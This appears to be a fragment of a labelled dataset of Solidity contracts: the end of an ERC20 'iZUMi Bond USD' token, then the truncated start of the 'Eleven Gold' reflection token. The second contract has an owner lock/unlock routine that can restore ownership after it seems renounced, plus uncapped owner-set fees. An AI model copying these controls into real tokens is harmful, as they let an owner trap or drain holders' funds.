/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract OperableToken is ERC20, Ownable {
address public operator;
mapping(address=>bool) public trusted;
modifier onlyTrusted {
require(trusted[msg.sender] || msg.sender == owner(), "not trusted");
_;
}
modifier onlyOperator {
require(msg.sender == operator, "operator only");
_;
}
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
operator = msg.sender;
}
function transferOperator(address newOperator) public onlyOperator {
require(newOperator != address(0), "zero operator");
operator = newOperator;
}
function addTrusted(address user) public onlyOperator {
trusted[user] = true;
}
function removeTrusted(address user) public onlyOperator {
trusted[user] = false;
}
function mint(address account, uint amount) public onlyTrusted {
_mint(account, amount);
}
function burn(address account, uint amount) public onlyTrusted {
_burn(account, amount);
}
}
contract iZUMiBondUSD is OperableToken {
constructor() OperableToken("iZUMi Bond USD", "iUSD") {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: MIT
// @author: YummyDAO with Sadio.tech
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract YummyToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isMaxbalanceExempt;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Eleven Gold";
string private _symbol = "ELGD";
uint8 private _decimals = 18;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _DevFee = 1;
address public DevWallet = 0xd52C0377D4422d0DF35eA17FDfe9f3fa83b85660;
uint256 private _previousDevFee = _DevFee;
uint256 public _liquidityFee = 8;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 _maxTxAmount = 25000000000000 * 10**18;
uint256 _setMaxbalance = 25000000000000 * 10**18;
uint256 timeF = 0;
uint256 launchTimestamp = 0;
//Cool Down if their is a heavy sell
mapping(address => uint256) private _lastSell;
bool public coolDownEnabled = false;
uint256 public coolDownTime = 5 seconds;
uint256 private numTokensSellToAddToLiquidity = 100000000 * 10**18;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
isTxLimitExempt[owner()] = true;
isTxLimitExempt[address(this)] = true;
isTxLimitExempt[DevWallet] = true;
isMaxbalanceExempt[owner()] = true;
isMaxbalanceExempt[address(this)] = true;
isMaxbalanceExempt[DevWallet] = true;
launchTimestamp = uint(0).add(block.timestamp);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
/*function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
/*function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}*/
